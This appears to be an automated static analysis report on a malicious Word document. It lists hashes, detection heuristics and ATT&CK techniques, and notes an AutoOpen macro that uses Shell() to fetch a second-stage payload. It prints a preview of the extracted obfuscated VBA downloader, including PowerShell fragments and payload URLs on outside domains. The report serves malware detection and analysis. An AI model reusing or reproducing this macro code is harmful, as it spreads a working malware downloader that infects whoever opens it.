Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 178253f73f842e5f…

MALICIOUS

Office (OLE)

172.0 KB Created: 2017-11-29 22:29:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 0fef4beb8522586eb27171b2c8e72569 SHA-1: fb3881118389ae76b1286d1ac08b9ef58059bc9d SHA-256: 178253f73f842e5f39a66ec99b97a98fdf366a292834c6eb65b0c5b8b41f1599
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external code. The ClamAV heuristic also flags it for obfuscation. The macro's obfuscated nature and use of Shell() strongly suggest it downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 86674 bytes
SHA-256: b23ad83f1a8b40db5f914b62fb08d634a1c82020499f78dd988c072da702c86a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IDsWYfdHPbMnD"
Function PdbHBSojzjJYwi()
kYlXSp = Array(StrReverse("RkKNzwWZCmUjlM"), StrReverse("tOwiBjULFVjU"), StrReverse("zZzFBoN"), StrReverse("JucCtTY"), StrReverse("fMozWwjDfbOw"), StrReverse("ErPdSZdoPf"), StrReverse("zikTTcIPwdaJvW"), StrReverse("DstZaZQfEDMY"))
JoluEhpERVl = Mid("jjX('. ((varIABle RCh*MDr*RCh).NAMe[3,vCL8mz1O4qLz", 4, 35)
wiRlO = Array(StrReverse("IJHRkskpTHfzsn"), StrReverse("EYNqFjllcz"), StrReverse("zEjEzBkC"), StrReverse("XouaMQQcJ"), StrReverse("jPXkkLYqbMX"), StrReverse("iRcujFPJiM"), StrReverse("UzPimioTIbAQt"), StrReverse("UztZKJpvzKc"))
kzFMdqkIUup = Array(StrReverse("uutQhrwnMMj"), StrReverse("TzAviiU"), StrReverse("lWkupFXj"), StrReverse("fQHEhUB"), StrReverse("KbEYuqjJWGZQ"), StrReverse("ZUrQpXKwbcUP"), StrReverse("jwcwlizLTGQi"), StrReverse("jEkSwzTUFvPnr"))
pfdvoTiJ = Array(StrReverse("kokhjCot"), StrReverse("ibswakzMLVqTcH"), StrReverse("wHakjvKUa"), StrReverse("ijBcizjzUvqfIa"), StrReverse("apwQdsHjTlZcE"), StrReverse("DUHSAsDv"), StrReverse("dYKUILaRwAsI"), StrReverse("MEzEaAi"))
UaVWWaLUPIw = Mid("fN6jIYBiajmIS3jwiE5lmPjPoPC1p4h8dljh+RChA+oJAsoJA+oJA.com/uoJA+oJAQIcZoJA+oJAUV/,hoJA+oJAttp:oJA+oJA//piccooJA+oJAlooJA+oJA-oJA+oJAtoJA+oJAibet.cooRCTDCu", 36, 114)
HncEdWlh = Array(StrReverse("qljzjJKJjhYUvQ"), StrReverse("FNbiwrGNId"), StrReverse("vPaAMLthIa"), StrReverse("HjZfWUDtdCCw"), StrReverse("hoFtFkX"), StrReverse("VMNvijVNaNI"), StrReverse("VGvISUmKOzVtSa"), StrReverse("YFAcYCKlU"))
HqBvEjwvFIp = Array(StrReverse("IUbpRbjNIiofG"), StrReverse("rSYzUsTacM"), StrReverse("zHDVvRC"), StrReverse("rUDiiqkrE"), StrReverse("SDdzrMijajpYi"), StrReverse("PoTTjsNQmSOAo"), StrReverse("tJkBPkJIXwQq"), StrReverse("OqVXTmLTpXQKM"))
zuzplmF = Array(StrReverse("zmHzCvVvjwEHa"), StrReverse("FHBvZEvV"), StrReverse("LMtaIiiAodH"), StrReverse("YbdwJJnXXoWGfq"), StrReverse("wbrozbKvk"), StrReverse("UMMFzQiS"), StrReverse("jfYzQvHwE"), StrReverse("qnvSSiYwoK"))
zwvhYchZZo = Mid("nSfN14aoJA+oJAedel.it/oJA+oJAassetoJA+oJAs/imagesoJA+oRCh+RChJA/eioJ'+'A+oJRCh+RChAToJA+oJAVM/z'+'troJA+oJwT904ZDj96C", 8, 99)
TXBIi = Array(StrReverse("BRLkqYumRwo"), StrReverse("wiHQUDpB"), StrReverse("ZQuuOcQDmUqDHI"), StrReverse("MOaSvcYZjLncL"), StrReverse("CMVKibBQqc"), StrReverse("iifczEqaQEGcXF"), StrReverse("BqLiaAEijH"), StrReverse("tdjpvXwWRt"))
RlbkcOQIv = Array(StrReverse("OjspozbSZ"), StrReverse("rnOJkYibtp"), StrReverse("FYuVZtuWYTp"), StrReverse("wSzfHbzj"), StrReverse("izwzjJiJuUu"), StrReverse("oIHzUPDjvA"), StrReverse("BfQrksW"), StrReverse("vIzaZvV"))
QiIsu = Array(StrReverse("LSmGjitzZcL"), StrReverse("pIYTjKpQzzWrq"), StrReverse("cqvcZPq"), StrReverse("fKXdVcvfY"), StrReverse("RvNuZaQvzAb"), StrReverse("vvPdBDEzC"), StrReverse("zbdOwFoMUTZuav"), StrReverse("hQVLiSpmROcOs"))
scwjio = Mid("fip9Wq+[chAR]67+[chAR]104),[striNg][chAR]39) |. ((gET-vARiAbLe '*MDR*').name[3,11,2]-joiN'')JDS8K1O8t5aMJ34riPrq2q8hzY", 7, 86)
uWZlWoowNiP = Array(StrReverse("kMNiwumKJrinL"), StrReverse("AkiuwUPRzRYUzM"), StrReverse("hiCwWSUiWFGsG"), StrReverse("sKioBINwiwAd"), StrReverse("OvFivaTbJ"), StrReverse("opbfCHpqcJj"), StrReverse("GpfwEck"), StrReverse("DwtzFmR"))
TOvldo = Array(StrReverse("sabYVvmRLiK"), StrReverse("kjIoBVTk"), StrReverse("njlYdKpLAT"), StrReverse("wmcszVFAGQErA"), StrReverse("hIddMGuHGF"), StrReverse("pzrkwFLKTJwEP"), StrReverse("fQSiDirlBvCLh"), StrReverse("MzpjXBHVNPKLt"))
qQBSckW = Array(StrReverse("ETbsvuawrihwBT"), StrReverse("MCMiwnLCI"), StrReverse("jdqmXlDD"), StrReverse("FONIPoKol"), StrReverse("tEHUOAiaCZGt"), StrReverse("ShLRjLTwd"), StrReverse("mOEwtwtlwaSPF"), StrReverse("IcltKBiIMzv"))
zrWaBMZGdbz = Mid("CuHRaMiXTtowi4RmjX1Pq3wH8JA+oJARCh+RCht ranoJA+oJAdo'+'JA+oJAom;fn5oJA+oJAbcd RCh+RC'+'h= zt'+'roJA+oJAhttpoJA+'+'oJA://woJA+oJAwoJA+oJAw.RCh+RChoJ1z", 26, 122)
qzbqME
... (truncated)

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